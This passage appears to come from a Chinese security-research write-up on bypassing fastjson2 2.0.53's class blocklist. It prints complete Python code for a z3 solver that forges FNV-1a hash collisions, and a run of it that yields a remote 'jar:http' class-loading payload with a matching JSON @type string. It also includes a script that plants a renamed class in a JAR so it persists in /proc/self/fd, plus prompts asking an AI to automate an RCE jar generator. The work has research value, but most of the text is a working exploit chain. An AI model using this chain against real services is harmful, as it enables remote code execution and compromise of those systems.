+  - 长字符串 (>8 字符) 或含字符 >255: 走 FNV-1a
+  - FNV-1a: hash = (hash ^ ch) * prime
+  - offset = 0xcbf29ce484222325
+  - prime  = 0x100000001b3
+
+用法:
+  python3 fnv_collision.py <目标hash> [字符数] [最小字符] [最大字符]
+
+参数:
+  目标hash    : 十进制 (可负) 或 0x 开头的十六进制
+  字符数      : 默认 5
+  最小字符    : 默认 256 (确保 >255, 触发 FNV-1a)
+  最大字符    : 默认 65535 (Java char 上限)
+
+示例:
+  python3 fnv_collision.py 0xd5ef36df67371111
+  python3 fnv_collision.py -6293031534589903644
+  python3 fnv_collision.py 15415600382649766161 5 256 65535
+
+依赖:
+  pip3 install z3-solver
+"""
+import sys
+from z3 import *
+
+# FNV-1a 64 位常量
+OFFSET = 0xcbf29ce484222325
+PRIME = 0x100000001b3
+
+
+def parse_hash(s):
+    """解析 hash 参数: 支持十进制 (可负) 和十六进制 (0x开头)"""
+    s = s.strip()
+    if s.lower().startswith('0x'):
+        v = int(s, 16)
+        # 转成有符号 long (Java long 是有符号 64 位)
+        if v >= 2**63:
+            v -= 2**64
+        return v
+    return int(s)
+
+
+def to_unsigned(v):
+    """有符号 long -> 无符号"""
+    return v & 0xFFFFFFFFFFFFFFFF
+
+
+def fnv1a_hash(s):
+    """计算 FNV-1a hash (跟 fastjson2 2.0.53 长字符串分支一致)"""
+    h = OFFSET
+    for ch in s:
+        h ^= ord(ch)
+        h = (h * PRIME) & 0xFFFFFFFFFFFFFFFF
+    return h
+
+
+def solve(target_hash, num_chars=5, min_char=256, max_char=65535):
+    """
+    用 z3 求 N 字符碰撞
+
+    target_hash: 目标 hash (有符号 long)
+    num_chars:   字符数
+    min_char:    字符最小值 (256 确保触发 FNV-1a)
+    max_char:    字符最大值 (65535 = Java char 上限)
+    """
+    target_unsigned = to_unsigned(target_hash)
+
+    # 创建 num_chars 个 64 位 BitVec 变量
+    c = [BitVec(f'c{i}', 64) for i in range(num_chars)]
+
+    # FNV-1a 计算
+    h = BitVecVal(OFFSET, 64)
+    for i in range(num_chars):
+        h = (h ^ c[i]) * BitVecVal(PRIME, 64)
+
+    # 求解器
+    s = Solver()
+    s.add(h == BitVecVal(target_unsigned, 64))
+
+    # 字符范围约束
+    for i in range(num_chars):
+        s.add(c[i] >= min_char)
+        s.add(c[i] <= max_char)
+        # ★ 排除 UTF-16 代理对范围 (0xD800-0xDFFF)
+        # 这些码点专用于 UTF-16 编码,不能作为独立字符
+        # Python chr() 能产生但 print 时 UTF-8 不允许
+        s.add(Or(c[i] < 0xD800, c[i] > 0xDFFF))
+
+    # 如果字符范围包含 <=255 且 num_chars <=8, 需要至少一个 >255 强制走 FNV-1a
+    if min_char <= 255 and num_chars <= 8:
+        s.add(Or([c[i] > 255 for i in range(num_chars)]))
+
+    # 求解
+    result = s.check()
+    if result == sat:
+        m = s.model()
+        return [m[c[i]].as_long() for i in range(num_chars)]
+    return None
+
+
+def main():
+    if len(sys.argv) < 2:
+        print(__doc__)
+        sys.exit(1)
+
+    # 解析参数
+    target_hash = parse_hash(sys.argv[1])
+    num_chars = int(sys.argv[2]) if len(sys.argv) > 2 else 5
+    min_char = int(sys.argv[3]) if len(sys.argv) > 3 else 256
+    max_char = int(sys.argv[4]) if len(sys.argv) > 4 else 65535
+
+    print("═" * 64)
+    print("  FNV-1a 64 位哈希碰撞求解器 (z3)")
+    print("═" * 64)
+    print()
+    print(f"  目标 hash (有符号): {target_hash}")
+    print(f"  目标 hash (无符号): {to_unsigned(target_hash)}")
+    print(f"  目标 hash (十六进制): 0x{to_unsigned(target_hash):016x}")
+    print()
+    print(f"  字符数: {num_chars}")
+    print(f"  字符范围: [{min_char}, {max_char}]")
+    if min_char <= 255:
+        print(f"  ⚠ 范围含 <=255, 会强制至少一个字符 >255 (走 FNV-1a)")
+    print()
+
+    # 求解
+    print("  求解中...")
+    import time
+    start = time.time()
+    result = solve(target_hash, num_chars, min_char, max_char)
+    elapsed = time.time() - start
+
+    if result is None:
+        print(f"  ✗ 未找到解 (unsat), 耗时 {elapsed:.2f}s")
+        print()
+        print("  可能原因:")
+        print("    1. 输入空间太小 (字符数 × 位宽 < 64)")
+        print("    2. z3 求解超时 (尝试减少字符数)")
+        print("    3. 真的无解 (极少见)")
+        return
+
+    print(f"  ✓ 找到解! 耗时 {elapsed:.2f}s")
+    print()
+
+    # 构造碰撞字符串
+    collision_str = ''.join(chr(c) for c in result)
+
+    # 验证
+    actual_hash = fnv1a_hash(collision_str)
+
+    print("─" * 64)
+    print("  碰撞结果")
+    print("─" * 64)
+    print()
+    print(f"  原始目标 hash:   0x{to_unsigned(target_hash):016x}")
+    print(f"  碰撞字符串 hash: 0x{to_unsigned(actual_hash):016x}")
+    print(f"  匹配: {'✓' if to_unsigned(actual_hash) == to_unsigned(target_hash) else '✗'}")
+    print()
+    print(f"  Code Points: {result}")
+    print(f"  十六进制:    [{', '.join(f'0x{c:04x}' for c in result)}]")
+    print(f"  Unicode 转义: {''.join(f'\\u{c:04x}' for c in result)}")
+    # 安全打印: 避免代理对/控制字符导致 UnicodeEncodeError
+    safe_str = collision_str.encode('utf-8', errors='backslashreplace').decode('utf-8')
+    print(f"  字符串:      \"{safe_str}\"")
+    print()
+    print("─" * 64)
+    print("  使用提示")
+    print("─" * 64)
+    print()
+    print("  1. Java 中使用 (用 Unicode 转义):")
+    print(f'     String s = "{"".join(f"\\u{c:04x}" for c in result)}";')
+    print(f"     long hash = com.alibaba.fastjson2.util.Fnv.hashCode64(s);")
+    print()
+    print("  2. 这个字符串的 FNV-1a hash 等于目标 hash")
+    print("  3. 每个字符 > 255, 确保走 FNV-1a 分支 (非短字符串优化)")
+    print()
+    print("═" * 64)
+
+
+if __name__ == '__main__':
+    main()
+

对应方程组:

+
已知:
+  OFFSET = 0xcbf29ce484222325
+  PRIME = 0x100000001b3
+  target = -6293031534589903644
+
+方程(假设是 5 位数):
+  let h0 = OFFSET
+  let h1 = (h0 ^ c0) * PRIME
+  let h2 = (h1 ^ c1) * PRIME
+  let h3 = (h2 ^ c2) * PRIME
+  let h4 = (h3 ^ c3) * PRIME
+  let h5 = (h4 ^ c4) * PRIME
+  h5 == target
+

解方程核心代码块:

+

7ee9230b-8788-4f71-bae3-bcc95a1bb6ec.png

+

最终对应 fastjson 场景解密 -6293031534589903644 效果:

+

f65e13db-a03e-4de9-aa02-6e08e9b84338.png

+

通过解方程的形式成功达到 Hash 碰撞的效果, 那么在此基础之上我们只需要将我们在 fastjson 1.2.83 中的 payload 作为前缀即可. 以任意字符为前缀的话, 对于 fastjson 的计算来说仅仅是起点不同了:

+

de3f01f7-7cd5-4b8b-a33c-1d3d9e56a3a9.png

+

因为它是依次按照^= & *=做位运算的, 丝毫不影响我们制作 payload, 定制 Python 脚本:

+
#!/usr/bin/env python3
+"""
+FNV-1a 64 位哈希碰撞求解器 (z3) - 支持自定义前缀
+
+对标 fastjson2 2.0.53 Fnv.hashCode64 的实现:
+  - 长字符串 (>8 字符) 或含字符 >255: 走 FNV-1a
+  - FNV-1a: hash = (hash ^ ch) * prime
+  - offset = 0xcbf29ce484222325
+  - prime  = 0x100000001b3
+
+★ 前缀支持 (--prefix):
+  指定已知前缀字符串, 该前缀先参与 FNV-1a 计算, 改变起始 hash,
+  然后再求解 N 个未知字符使最终 hash 等于目标.
+  对应 Java 语义: Fnv.hashCode64(prefix + unknown) == targetHash
+
+用法:
+  python3 fnv_collision.py <目标hash> [字符数] [最小字符] [最大字符] [--prefix PREFIX]
+
+参数:
+  目标hash    : 十进制 (可负) 或 0x 开头的十六进制
+  字符数      : 默认 5 (未知字符数, 不含 prefix)
+  最小字符    : 默认 256 (确保 >255, 触发 FNV-1a)
+  最大字符    : 默认 65535 (Java char 上限)
+  --prefix    : 已知前缀字符串 (先参与 FNV-1a, 再求未知字符)
+
+示例:
+  python3 fnv_collision.py 0xd5ef36df67371111
+  python3 fnv_collision.py -6293031534589903644
+  python3 fnv_collision.py 0xd5ef36df67371111 5 256 65535 --prefix abc
+  python3 fnv_collision.py 0xd5ef36df67371111 3 --prefix 'java.lang.String'
+
+依赖:
+  pip3 install z3-solver
+"""
+import sys
+import argparse
+import time
+from z3 import *
+
+# FNV-1a 64 位常量
+OFFSET = 0xcbf29ce484222325
+PRIME = 0x100000001b3
+
+
+def parse_hash(s):
+    """解析 hash 参数: 支持十进制 (可负) 和十六进制 (0x开头)"""
+    s = s.strip()
+    if s.lower().startswith('0x'):
+        v = int(s, 16)
+        # 转成有符号 long (Java long 是有符号 64 位)
+        if v >= 2**63:
+            v -= 2**64
+        return v
+    return int(s)
+
+
+def to_unsigned(v):
+    """有符号 long -> 无符号"""
+    return v & 0xFFFFFFFFFFFFFFFF
+
+
+def to_java_chars(s):
+    """
+    将 Python 字符串转成 Java char (UTF-16 code unit) 序列.
+
+    Java 的 String.charAt(i) 返回 16 位 char, FNV-1a 实际是对
+    UTF-16 code unit 迭代, 不是对 Unicode codepoint 迭代.
+    - BMP 字符 (0x0000-0xFFFF): code unit == codepoint, 两者等价
+    - 非 BMP 字符 (如 emoji 0x1F600): Java 迭代代理对 [0xD83D, 0xDE00],
+      Python 的 ord() 返回整个 codepoint. 本函数确保与 Java 行为一致.
+    """
+    b = s.encode('utf-16-be')
+    return [int.from_bytes(b[i:i+2], 'big') for i in range(0, len(b), 2)]
+
+
+def fnv1a_hash(s):
+    """计算 FNV-1a hash (跟 fastjson2 2.0.53 长字符串分支一致)"""
+    h = OFFSET
+    for ch in to_java_chars(s):
+        h ^= ch
+        h = (h * PRIME) & 0xFFFFFFFFFFFFFFFF
+    return h
+
+
+def fnv1a_prefix_state(prefix):
+    """
+    计算 prefix 参与 FNV-1a 后的起始 hash 状态.
+
+    返回 (h_start, prefix_chars, prefix_has_high_char):
+      h_start              : prefix 跑完 FNV-1a 后的 hash (作为未知字符的起点)
+      prefix_chars         : prefix 的 Java char 序列
+      prefix_has_high_char : prefix 是否含 >255 的 char (影响 FNV-1a 触发判断)
+    """
+    chars = to_java_chars(prefix)
+    h = OFFSET
+    for ch in chars:
+        h ^= ch
+        h = (h * PRIME) & 0xFFFFFFFFFFFFFFFF
+    has_high = any(ch > 255 for ch in chars)
+    return h, chars, has_high
+
+
+def solve(target_hash, num_chars=5, min_char=256, max_char=65535, prefix=''):
+    """
+    用 z3 求 N 字符碰撞 (支持已知前缀)
+
+    target_hash: 目标 hash (有符号 long)
+    num_chars:   未知字符数 (不含 prefix)
+    min_char:    字符最小值 (256 确保触发 FNV-1a)
+    max_char:    字符最大值 (65535 = Java char 上限)
+    prefix:      已知前缀字符串, 先参与 FNV-1a 计算, 改变起始 hash
+
+    求解等式: FNV1a_continue(FNV1a(prefix), unknown_chars) == target_hash
+    """
+    target_unsigned = to_unsigned(target_hash)
+
+    # ★ 关键: 先把 prefix 跑一遍 FNV-1a, 得到起始 hash
+    # prefix 是已知常量, 这一步用纯 Python 算出具体数值, 不需要 z3 变量
+    h_start, prefix_chars, prefix_has_high = fnv1a_prefix_state(prefix)
+
+    # 创建 num_chars 个 64 位 BitVec 变量 (只对未知字符建变量)
+    c = [BitVec(f'c{i}', 64) for i in range(num_chars)]
+
+    # FNV-1a 计算 (从 prefix 处理后的 h_start 继续)
+    h = BitVecVal(h_start, 64)
+    for i in range(num_chars):
+        h = (h ^ c[i]) * BitVecVal(PRIME, 64)
+
+    # 求解器
+    s = Solver()
+    s.add(h == BitVecVal(target_unsigned, 64))
+
+    # 字符范围约束
+    for i in range(num_chars):
+        s.add(c[i] >= min_char)
+        s.add(c[i] <= max_char)
+        # ★ 排除 UTF-16 代理对范围 (0xD800-0xDFFF)
+        # 这些码点专用于 UTF-16 编码,不能作为独立字符
+        # Python chr() 能产生但 print 时 UTF-8 不允许
+        s.add(Or(c[i] < 0xD800, c[i] > 0xDFFF))
+
+    # FNV-1a 触发条件检查 (考虑 prefix)
+    # fastjson2: 字符串长度 > 8 或任一 char > 255 -> 走 FNV-1a
+    prefix_java_len = len(prefix_chars)
+    total_len = prefix_java_len + num_chars
+
+    # 只有当总长度 <=8 且 prefix 没有高字符 且 字符范围含 <=255 时,
+    # 才需要强制至少一个未知字符 >255 (确保走 FNV-1a 而非短字符串优化)
+    if min_char <= 255 and total_len <= 8 and not prefix_has_high:
+        s.add(Or([c[i] > 255 for i in range(num_chars)]))
+
+    # 求解
+    result = s.check()
+    if result == sat:
+        m = s.model()
+        return [m[c[i]].as_long() for i in range(num_chars)]
+    return None
+
+
+def main():
+    parser = argparse.ArgumentParser(
+        description='FNV-1a 64 位哈希碰撞求解器 (z3) - 支持自定义前缀',
+        formatter_class=argparse.RawDescriptionHelpFormatter,
+    )
+    parser.add_argument('target_hash', type=str,
+                        help='目标 hash (十进制可负 / 0x十六进制)')
+    parser.add_argument('num_chars', type=int, nargs='?', default=5,
+                        help='未知字符数 (默认 5, 不含 prefix)')
+    parser.add_argument('min_char', type=int, nargs='?', default=256,
+                        help='字符最小值 (默认 256)')
+    parser.add_argument('max_char', type=int, nargs='?', default=65535,
+                        help='字符最大值 (默认 65535)')
+    parser.add_argument('--prefix', type=str, default='',
+                        help='已知前缀字符串, 先参与 FNV-1a 再求解未知字符')
+    args = parser.parse_args()
+
+    target_hash = parse_hash(args.target_hash)
+    num_chars = args.num_chars
+    min_char = args.min_char
+    max_char = args.max_char
+    prefix = args.prefix
+
+    # 预计算 prefix 状态 (用于显示)
+    h_start, prefix_chars, prefix_has_high = fnv1a_prefix_state(prefix)
+    prefix_java_len = len(prefix_chars)
+    total_len = prefix_java_len + num_chars
+
+    print("═" * 64)
+    print("  FNV-1a 64 位哈希碰撞求解器 (z3)")
+    print("═" * 64)
+    print()
+    print(f"  目标 hash (有符号): {target_hash}")
+    print(f"  目标 hash (无符号): {to_unsigned(target_hash)}")
+    print(f"  目标 hash (十六进制): 0x{to_unsigned(target_hash):016x}")
+    print()
+    print(f"  未知字符数: {num_chars}")
+    print(f"  字符范围: [{min_char}, {max_char}]")
+    if prefix:
+        prefix_display = prefix.encode('utf-8', errors='backslashreplace').decode('utf-8')
+        print(f"  已知前缀: \"{prefix_display}\"")
+        print(f"  前缀长度: {prefix_java_len} Java char(s)")
+        print(f"  前缀含 >255 字符: {'是' if prefix_has_high else '否'}")
+        print(f"  前缀处理后起始 hash: 0x{h_start:016x}")
+        print(f"  (原始 OFFSET:       0x{OFFSET:016x})")
+    print(f"  总字符串长度: {total_len} Java char(s)")
+    if min_char <= 255 and total_len <= 8 and not prefix_has_high:
+        print(f"  ⚠ 总长度 <=8 且范围含 <=255, 会强制至少一个未知字符 >255 (走 FNV-1a)")
+    print()
+
+    # 求解
+    print("  求解中...")
+    start = time.time()
+    result = solve(target_hash, num_chars, min_char, max_char, prefix)
+    elapsed = time.time() - start
+
+    if result is None:
+        print(f"  ✗ 未找到解 (unsat), 耗时 {elapsed:.2f}s")
+        print()
+        print("  可能原因:")
+        print("    1. 输入空间太小 (字符数 × 位宽 < 64)")
+        print("    2. z3 求解超时 (尝试减少字符数)")
+        print("    3. 真的无解 (极少见)")
+        return
+
+    print(f"  ✓ 找到解! 耗时 {elapsed:.2f}s")
+    print()
+
+    # 构造碰撞字符串 (只有未知部分)
+    collision_str = ''.join(chr(c) for c in result)
+    # 完整字符串 = prefix + 未知部分
+    full_str = prefix + collision_str
+
+    # 验证: 完整字符串的 FNV-1a hash 应该等于目标
+    actual_hash = fnv1a_hash(full_str)
+
+    print("─" * 64)
+    print("  碰撞结果")
+    print("─" * 64)
+    print()
+    print(f"  原始目标 hash:   0x{to_unsigned(target_hash):016x}")
+    print(f"  完整字符串 hash: 0x{to_unsigned(actual_hash):016x}")
+    print(f"  匹配: {'✓' if to_unsigned(actual_hash) == to_unsigned(target_hash) else '✗'}")
+    print()
+    if prefix:
+        prefix_display = prefix.encode('utf-8', errors='backslashreplace').decode('utf-8')
+        print(f"  已知前缀:     \"{prefix_display}\"")
+    print(f"  未知部分 Code Points: {result}")
+    print(f"  未知部分 十六进制:    [{', '.join(f'0x{c:04x}' for c in result)}]")
+    print(f"  未知部分 Unicode 转义: {''.join(f'\\u{c:04x}' for c in result)}")
+    safe_str = collision_str.encode('utf-8', errors='backslashreplace').decode('utf-8')
+    print(f"  未知部分字符串:      \"{safe_str}\"")
+    print()
+    print("─" * 64)
+    print("  使用提示")
+    print("─" * 64)
+    print()
+    # Java 形式: prefix 用 Unicode 转义 + 未知部分用 Unicode 转义
+    prefix_unicode = ''.join(f'\\u{ch:04x}' for ch in prefix_chars)
+    unknown_unicode = ''.join(f'\\u{c:04x}' for c in result)
+    if prefix:
+        print("  1. Java 中使用 (prefix + 未知部分, 全 Unicode 转义):")
+        print(f'     String s = "{prefix_unicode}{unknown_unicode}";')
+        print()
+        prefix_display = prefix.encode('utf-8', errors='backslashreplace').decode('utf-8')
+        print("  2. 或者 prefix 用字面量, 未知部分用 Unicode 转义:")
+        print(f'     String s = "{prefix_display}" + "{unknown_unicode}";')
+    else:
+        print("  1. Java 中使用 (用 Unicode 转义):")
+        print(f'     String s = "{unknown_unicode}";')
+    print()
+    print(f"     long hash = com.alibaba.fastjson2.util.Fnv.hashCode64(s);")
+    print()
+    print("  3. 这个字符串的 FNV-1a hash 等于目标 hash")
+    if min_char > 255:
+        print("  4. 每个未知字符 > 255, 确保走 FNV-1a 分支 (非短字符串优化)")
+    print()
+    print("═" * 64)
+
+
+if __name__ == '__main__':
+    main()
+

生成远程加载的 payload:

+
heihu577 @ ~/Desktop ❯ python fnv_collision.py --prefix "jar:http:..2887610369.2333.Hello\!.Hello" -6293031534589903644
+════════════════════════════════════════════════════════════════
+  FNV-1a 64 位哈希碰撞求解器 (z3)
+════════════════════════════════════════════════════════════════
+
+  目标 hash (有符号): -6293031534589903644
+  目标 hash (无符号): 12153712539119647972
+  目标 hash (十六进制): 0xa8aaa929446ffce4
+
+  未知字符数: 5
+  字符范围: [256, 65535]
+  已知前缀: "jar:http:..2887610369.2333.Hello!.Hello"
+  前缀长度: 39 Java char(s)
+  前缀含 >255 字符: 否
+  前缀处理后起始 hash: 0x3acee6a3e7fcfdce
+  (原始 OFFSET:       0xcbf29ce484222325)
+  总字符串长度: 44 Java char(s)
+
+  求解中...
+  ✓ 找到解! 耗时 0.19s
+
+────────────────────────────────────────────────────────────────
+  碰撞结果
+────────────────────────────────────────────────────────────────
+
+  原始目标 hash:   0xa8aaa929446ffce4
+  完整字符串 hash: 0xa8aaa929446ffce4
+  匹配: ✓
+
+  已知前缀:     "jar:http:..2887610369.2333.Hello!.Hello"
+  未知部分 Code Points: [16676, 4874, 30874, 19441, 64757]
+  未知部分 十六进制:    [0x4124, 0x130a, 0x789a, 0x4bf1, 0xfcf5]
+  未知部分 Unicode 转义: \u4124\u130a\u789a\u4bf1\ufcf5
+  未知部分字符串:      "䄤ጊ碚䯱ﳵ"
+
+────────────────────────────────────────────────────────────────
+  使用提示
+────────────────────────────────────────────────────────────────
+
+  1. Java 中使用 (prefix + 未知部分, 全 Unicode 转义):
+     String s = "\u006a\u0061\u0072\u003a\u0068\u0074\u0074\u0070\u003a\u002e\u002e\u0032\u0038\u0038\u0037\u0036\u0031\u0030\u0033\u0036\u0039\u002e\u0032\u0033\u0033\u0033\u002e\u0048\u0065\u006c\u006c\u006f\u0021\u002e\u0048\u0065\u006c\u006c\u006f\u4124\u130a\u789a\u4bf1\ufcf5";
+
+  2. 或者 prefix 用字面量, 未知部分用 Unicode 转义:
+     String s = "jar:http:..2887610369.2333.Hello!.Hello" + "\u4124\u130a\u789a\u4bf1\ufcf5";
+
+     long hash = com.alibaba.fastjson2.util.Fnv.hashCode64(s);
+
+  3. 这个字符串的 FNV-1a hash 等于目标 hash
+  4. 每个未知字符 > 255, 确保走 FNV-1a 分支 (非短字符串优化)
+
+════════════════════════════════════════════════════════════════
+

该 payload 能成功走向 loadClass 逻辑:

+
String jsonWithType = "{\"@type\":\"jar:http:..2887610369.2333.Hello!.Hello\\u4124\\u130a\\u789a\\u4bf1\\ufcf5\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}";
+// 不指定目标类,解析成 JSONObject
+Object obj = JSON.parseObject(jsonWithType, Object.class);
+System.out.println(obj);
+

最终结果:

+

a7b4dea2-5b46-47c9-be42-46622c245c6a.png

+

SpringBoot 中测试

+

在 SpringBoot 中依旧能发送请求, 准备一个 SpringBoot 案例, 准备一个JSON.parseObject(可控,Object.class)可控端点即可.

+

fnv 计算步骤

+

另外 Payload 使用 fastjson 1.2.83 的原有 payload 例如:

+
jar:http:..2887610369:2333.Hello!.Hello
+

原封不动的将其丢到 fnv 计算器中:

+

b5d4f583-9b49-47bc-bbd7-b508246c966e.png

+

生成结果为:

+
jar:http:..2887610369:2333.Hello!.Hello\ue94c\uc17c\uf770\ua803\uc0d3
+

驻留 jar 步骤

+

若想要在目标中驻留该 jar 包, 以维持后续的 fd 利用, 则需要 jar 包中已包含Hello\ue94c\uc17c\uf770\ua803\uc0d3.class这个文件, 但该文件由于文件名称为 Unicode 编码, 使用编程的场景更加方便, 编写新 python 脚本配合 fnv 脚本使用:

+
#!/usr/bin/env python3
+"""
+JAR/ZIP 碰撞条目复制工具 - 配合 fnv_collision.py 使用
+
+功能:
+  将 JAR 中已有的 class 文件复制一份, 在文件名末尾 (扩展名前) 插入
+  fnv_collision.py 求出的 unicode 字符, 形成新的 JAR 条目.
+
+  这样 JNDI jar: URL 加载时, fastjson 校验的类名 FNV hash 命中碰撞值,
+  实际加载的却是新条目 (内容与原 class 一致).
+
+用法:
+  python3 jar_collision_copy.py <JAR文件> <原class文件名> <unicode转义串>
+
+参数:
+  JAR文件         : 要修改的 JAR/ZIP 文件路径
+  原 class 文件名 : JAR 中已存在的 class 条目名 (如 Hello.class)
+  unicode 转义串  : \\uXXXX 格式字符串 (来自 fnv_collision.py 输出)
+                    ★ 请用单引号包裹, 避免 shell 解释 \\u
+
+示例:
+  python3 jar_collision_copy.py ./Hello Hello.class '\\ue94c\\uc17c\\uf770\\ua803\\uc0d3'
+
+  # 也可以直接传已解码的 unicode 字符 (双引号在 zsh 下会解码 \\u)
+  python3 jar_collision_copy.py ./Hello Hello.class "셼ꠃ샓"
+
+工作流程:
+  1. 读取 JAR, 找到原 class 条目, 缓存其内容
+  2. 解析 unicode 转义串 (\\uXXXX -> 实际字符)
+  3. 构造新条目名: <原文件名去扩展名> + <解码字符> + <扩展名>
+     例: Hello.class + \\ue94c... -> Hello\\ue94c... uc17c... .class
+  4. 创建临时 JAR, 复制所有原条目 + 追加新条目
+  5. 用临时 JAR 替换原 JAR
+  6. 验证新条目存在且内容与原条目一致
+"""
+import sys
+import re
+import os
+import shutil
+import zipfile
+import tempfile
+
+
+def decode_unicode_escapes(s):
+    """
+    将 \\uXXXX 格式的字符串解码为实际 unicode 字符.
+    支持混合字面字符和转义序列: "Hello\\u4e16\\u754c" -> "Hello世界"
+    若传入的已是实际字符 (无 \\u 转义), 原样返回.
+    """
+    pattern = re.compile(r'\\u([0-9a-fA-F]{4})')
+    return pattern.sub(lambda m: chr(int(m.group(1), 16)), s)
+
+
+def split_extension(name):
+    """
+    分离条目名的主体和扩展名.
+    Hello.class          -> ('Hello', '.class')
+    com/foo/Bar.class    -> ('com/foo/Bar', '.class')
+    Hello                -> ('Hello', '')
+    """
+    idx = name.rfind('.')
+    # 排除路径中的点 (如 com.foo/Bar 中的第一个点)
+    # 只认最后一个点, 且该点后面不是路径分隔符
+    if idx > 0 and '/' not in name[idx:]:
+        return name[:idx], name[idx:]
+    return name, ''
+
+
+def main():
+    if len(sys.argv) != 4:
+        print(__doc__)
+        sys.exit(1)
+
+    jar_path = sys.argv[1]
+    original_class = sys.argv[2]
+    unicode_str = sys.argv[3]
+
+    # 解码 unicode 转义
+    decoded = decode_unicode_escapes(unicode_str)
+
+    # 分离原 class 文件名和扩展名
+    base_name, ext = split_extension(original_class)
+
+    # 构造新条目名: base_name + decoded + ext
+    new_entry_name = base_name + decoded + ext
+
+    print("═" * 64)
+    print("  JAR 碰撞条目复制工具")
+    print("═" * 64)
+    print()
+    print(f"  JAR 文件:        {jar_path}")
+    print(f"  原 class 条目:   {original_class}")
+    print(f"  Unicode 输入:    {unicode_str}")
+    print(f"  解码后字符:      {repr(decoded)}")
+    print(f"  解码后 Unicode:  {''.join(chr(c) for c in [ord(c) for c in decoded])!r}")
+    decoded_unicode_repr = ''.join('\\u{:04x}'.format(ord(c)) for c in decoded)
+    print(f"  解码后转义形式:  {decoded_unicode_repr}")
+    print()
+    print(f"  新条目名:        {repr(new_entry_name)}")
+    new_unicode_repr = ''.join('\\u{:04x}'.format(ord(c)) for c in new_entry_name)
+    print(f"  新条目 Unicode:  {new_unicode_repr}")
+    print()
+
+    # 检查 JAR 文件
+    if not os.path.exists(jar_path):
+        print(f"  ✗ JAR 文件不存在: {jar_path}")
+        sys.exit(1)
+
+    # 读取原 class 内容并检查
+    try:
+        with zipfile.ZipFile(jar_path, 'r') as zf:
+            names = zf.namelist()
+            if original_class not in names:
+                print(f"  ✗ 原 class 条目 [{original_class}] 不在 JAR 中")
+                print()
+                print("  JAR 当前条目列表:")
+                for n in names:
+                    display = n.encode('utf-8', errors='backslashreplace').decode('utf-8')
+                    print(f"    {display}")
+                sys.exit(1)
+            original_data = zf.read(original_class)
+            existing_new = new_entry_name in names
+    except zipfile.BadZipFile:
+        print(f"  ✗ 不是有效的 ZIP/JAR 文件: {jar_path}")
+        sys.exit(1)
+
+    print(f"  ✓ 找到原条目 [{original_class}], 大小 {len(original_data)} 字节")
+    if existing_new:
+        print(f"  ⚠ 新条目已存在, 将覆盖")
+
+    # 创建临时文件, 复制所有条目 + 添加新条目
+    fd, tmp_path = tempfile.mkstemp(suffix='.jar')
+    os.close(fd)
+
+    try:
+        print()
+        print("  写入新 JAR...")
+        with zipfile.ZipFile(jar_path, 'r') as src:
+            with zipfile.ZipFile(tmp_path, 'w', zipfile.ZIP_DEFLATED) as dst:
+                # 复制所有原条目 (跳过与新条目同名的, 稍后统一写)
+                for item in src.infolist():
+                    if item.filename == new_entry_name:
+                        continue
+                    # 用 ZipInfo 保留原条目的压缩方式/时间戳等元信息
+                    dst.writestr(item, src.read(item.filename))
+                # 追加新条目 (内容复制自原 class)
+                dst.writestr(new_entry_name, original_data)
+
+        # 用临时文件替换原 JAR
+        shutil.move(tmp_path, jar_path)
+        print(f"  ✓ 已添加新条目")
+
+    except Exception as e:
+        if os.path.exists(tmp_path):
+            os.unlink(tmp_path)
+        print(f"  ✗ 操作失败: {e}")
+        sys.exit(1)
+
+    # 验证结果
+    print()
+    print("─" * 64)
+    print("  验证结果")
+    print("─" * 64)
+    print()
+    with zipfile.ZipFile(jar_path, 'r') as zf:
+        names = zf.namelist()
+        print(f"  JAR 条目列表 ({len(names)} 项):")
+        for n in names:
+            display = n.encode('utf-8', errors='backslashreplace').decode('utf-8')
+            unicode_repr = ''.join('\\u{:04x}'.format(ord(c)) for c in n)
+            marker = ' ★ 新增' if n == new_entry_name else ''
+            print(f"    {display}{marker}")
+            if n == new_entry_name:
+                print(f"      unicode: {unicode_repr}")
+                data = zf.read(n)
+                if data == original_data:
+                    print(f"      内容校验: ✓ 与原条目一致 ({len(data)} 字节)")
+                else:
+                    print(f"      内容校验: ✗ 与原条目不一致!")
+                    print(f"      原条目: {len(original_data)} 字节, 新条目: {len(data)} 字节")
+
+    print()
+    print("═" * 64)
+
+
+if __name__ == '__main__':
+    main()
+

最终结果:

+

1b89afac-0b2d-4146-b880-af329b0c4c63.png

+

当前仅是驻留到受害机 /proc/{pid}/fd 中案例, 先使用 0kb 的文件做测试:

+

图片.png

+

最终驻留成功.

+

POC 调试 & 攻击案例

+

刚才的脚本仅仅是将jar 中的 class 文件名称符合传递的@type中的资源值, 若想要满足 RCE 还需要该 class 文件的内容(字节码)的类名同样带有 Unicode 编码. 此时对 AI 对我原 fastjson 1.2.83 的脚本进行说明了:

+
我这里有一个项目:/Users/heihu577/Desktop/fastjson2/tools/fastjson-1.2.83-rce-jar-generator-1.0.1/GenJarBatch.java,你可以   阅读一波 README.md 文件之后,再看一波该 java 源码,现在我给你定义新的需求新增:fnv_add_unicode_file 功能,对 cmd 或    
+  defineClass 生成的 jar 文件进行分析1: 分析出来 cmd 或 defineClass 生成的 jar 包,通过查看包名的形式能够定位到              fd0.Exception(假设生成的  class 文件是该结构,如果存在多个目录中存在 class 文件就依次进行如下操作),那么你可以通过 ASM   类库或者其他手段分析包名以及类名的结构来拼接为之前案例中的: python fnv_collision.py --prefix                              
+  "jar:http:..2887610369:2333.Hello\!.Hello" -6293031534589903644 中的 --prefix 部分(可能是 jar:file:.proc.self.fd.数字!.   fd 数字.Exception)这种结构2. 根据枚举出来的 包名类名结构,通过 python fnv_collision.py --prefix  "jar:http:..2887610369:2333.Hello\!.Hello" -6293031534589903644 该脚本的逻辑来进行计算(是根据逻辑,但你需要写出对应  
+  java 模块的功能来使得与该 python 的结果一致才行),得到其后缀需要增加的 Unicode 码部分3. 你已经知道了要增加什么 Unicode    编码之后,你需要将 Hello 类中的字节码中的类名部分进行修改(可以使用 asm 实现),修改为 “Hello+Unicode 值”,并且将该 class   文件加入到 jar 包中(文件名同样符合类名规律)整个过程全部使用 java 语言,禁止 java 中嵌套 python 
+

坐等很长时间后, 又优化了一些细节:

+
最后生成的 jar 包中,不是含有 class 文件吗,然后会输出:“jar:file:.proc.self.fd.256!.fd256.Exception醍눲䕹ᄬ憬”,我现在想让你把每次处理完毕的结果保存到"result.txt" 中。并且内容是:jar:file:.proc.self.fd.<NUM>!.fd<NUM>.Exception<Unicode 编码>,因为 fd 目录可能太多,然后你需要换行分割。
+

